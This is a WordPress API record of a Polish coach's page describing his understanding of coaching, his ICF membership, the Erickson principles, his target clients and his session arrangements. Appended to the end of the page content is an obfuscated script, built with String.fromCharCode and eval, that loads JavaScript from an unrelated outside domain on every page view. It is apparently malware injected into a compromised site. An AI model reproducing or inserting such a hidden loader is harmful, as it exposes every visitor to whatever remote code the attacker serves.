{"id":85,"date":"2017-03-01T17:52:54","date_gmt":"2017-03-01T16:52:54","guid":{"rendered":"http:\/\/darekniedzieski.pl\/?page_id=85"},"modified":"2017-03-01T17:52:54","modified_gmt":"2017-03-01T16:52:54","slug":"moje-rozumienie-coachingu","status":"publish","type":"page","link":"https:\/\/darekniedzieski.pl\/index.php\/moje-rozumienie-coachingu\/","title":{"rendered":"Czym jest dla mnie coaching"},"content":{"rendered":"<p>B\u0119d\u0105c cz\u0142onkiem najwi\u0119kszej w \u015bwiecie organizacji zrzeszaj\u0105cej coach\u00f3w &#8211; International Coach Federation w swojej pracy przestrzegam \u015bci\u015ble regu\u0142 i zasad ustalanych przez t\u0119 organizacj\u0119. Definicja ICF m\u00f3wi, \u017ce:<\/p>\n<blockquote><p><strong>Coaching jest partnersk\u0105 wsp\u00f3\u0142prac\u0105 z klientami w prowokuj\u0105cym do my\u015blenia i kreatywnym procesie, kt\u00f3ry inspiruje ich do maksymalizacji swojego osobistego i zawodowego potencja\u0142u.<\/strong><\/p><\/blockquote>\n<p>W mojej pracy bliskie mi s\u0105 zasady coachingu Erickson College:<\/p>\n<ol>\n<li>Ka\u017cdy ma niezb\u0119dne zasoby do odniesienia sukcesu.<\/li>\n<li>Za ka\u017cdym ludzkim zachowaniem stoi pozytywna intencja.<\/li>\n<li>Ka\u017cda podjeta decyzja jest najlepsza z mo\u017cliwych.<\/li>\n<li>Ka\u017cdy jest OK taki, jaki jest.<\/li>\n<li>Zmiana jest nieuchronna.<\/li>\n<\/ol>\n<p>Pracuj\u0119 wy\u0142\u0105cznie z klientami, kt\u00f3rzy pragn\u0105 zmiany i kt\u00f3rzy s\u0105 gotowi wzi\u0105\u0107 pe\u0142n\u0105 odpowiedzialno\u015b\u0107 za sw\u00f3j rozw\u00f3j. Bez zachowania tego warunku proces coachingowy nie przyniesie \u017cadnych pozytywnych rezultat\u00f3w.<\/p>\n<p>Specjalizuj\u0119 si\u0119 w pracy z m\u0142odymi mened\u017cerami, kt\u00f3rzy niedawno otrzymali, b\u0105d\u017a lada chwila otrzymaj\u0105 pierwsz\u0105 nominacj\u0119 na stanowisko kierownicze i staj\u0105 przed nowymi, nieznanymi dotychczas im wyzwaniami, m\u0142odymi osobami, kt\u00f3re w swoich firmach nale\u017c\u0105 do grupy t.zw. High Potentials, czyli osobami, przed kt\u00f3rymi awans organizacyjny zosta\u0142 przedstawiony w ich \u015bcie\u017cce rozwoju. Niejako po przeciwnej stronie moj\u0105 pasj\u0105 jest praca z grup\u0105 wiekow\u0105 50+, czyli osobami, kt\u00f3re w spos\u00f3b maksymalnie efektywny chc\u0105 wykorzysta\u0107 czas, kt\u00f3ry jeszcze im zosta\u0142 dany i kt\u00f3re zwykle wtedy staj\u0105 przed r\u00f3\u017cnymi, czasem trudnymi wyborami. Moje bogate do\u015bwiadczenie zawodowe pozwala mi by\u0107 skutecznym coachem rownie\u017c dla najwy\u017cszej kadry mened\u017cerskiej, <em>executives<\/em> firm korporacyjnych.<\/p>\n<p><strong>Klient indywidualny<\/strong><\/p>\n<p>Zwykle pierwsza sesja jest sesj\u0105 wst\u0119pn\u0105. S\u0142u\u017cy ona wzajemnemu poznaniu si\u0119, ustaleniu kontraktu, okre\u015bleniu zasad wsp\u00f3\u0142pracy i jest sesj\u0105 bezp\u0142atn\u0105. W po\u0142owie wsp\u00f3lnie ustalonego okresu coachingu odbywa si\u0119 sesja ewaluacyjna. Klienci przewa\u017cnie wybieraj\u0105 na pocz\u0105tku przeprowadzenie 5 sesji, kt\u00f3re zwykle nast\u0119pnie przed\u0142u\u017caj\u0105 o kolejne 5 spotka\u0144.<\/p>\n<p><strong>Klient korporacyjny<\/strong><\/p>\n<p>Pierwsza sesja odbywa si\u0119 w tr\u00f3jk\u0105cie sponsor\/klient\/coach. Klient zachowuje prawo po poznaniu coacha do wnioskowania o jego zmian\u0119. W czasie tej sesji zostaje okre\u015blony plan pracy mi\u0119dzy coachem a klientem, przy udziale sponsora. Przez ca\u0142y okres relacji coachingowej coacha obowi\u0105zuje zasada pe\u0142nej poufno\u015bci. Coach ze sponsorem i klientem zwykle przeprowadza okresowe sesje ewaluacyjne, sprawdzaj\u0105ce, czy proces coachingowy przebiega zgodnie z za\u0142o\u017conym planem.<script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,51,46,48,46,51,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>B\u0119d\u0105c cz\u0142onkiem najwi\u0119kszej w \u015bwiecie organizacji zrzeszaj\u0105cej coach\u00f3w &#8211; International Coach Federation w swojej pracy przestrzegam \u015bci\u015ble regu\u0142 i zasad ustalanych przez t\u0119 organizacj\u0119. Definicja ICF m\u00f3wi, \u017ce: Coaching jest partnersk\u0105 wsp\u00f3\u0142prac\u0105 z klientami w prowokuj\u0105cym do my\u015blenia i kreatywnym procesie, kt\u00f3ry inspiruje ich do maksymalizacji swojego osobistego i zawodowego potencja\u0142u. W mojej pracy bliskie [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":1,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"_links":{"self":[{"href":"https:\/\/darekniedzieski.pl\/index.php\/wp-json\/wp\/v2\/pages\/85"}],"collection":[{"href":"https:\/\/darekniedzieski.pl\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/darekniedzieski.pl\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/darekniedzieski.pl\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/darekniedzieski.pl\/index.php\/wp-json\/wp\/v2\/comments?post=85"}],"version-history":[{"count":0,"href":"https:\/\/darekniedzieski.pl\/index.php\/wp-json\/wp\/v2\/pages\/85\/revisions"}],"wp:attachment":[{"href":"https:\/\/darekniedzieski.pl\/index.php\/wp-json\/wp\/v2\/media?parent=85"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}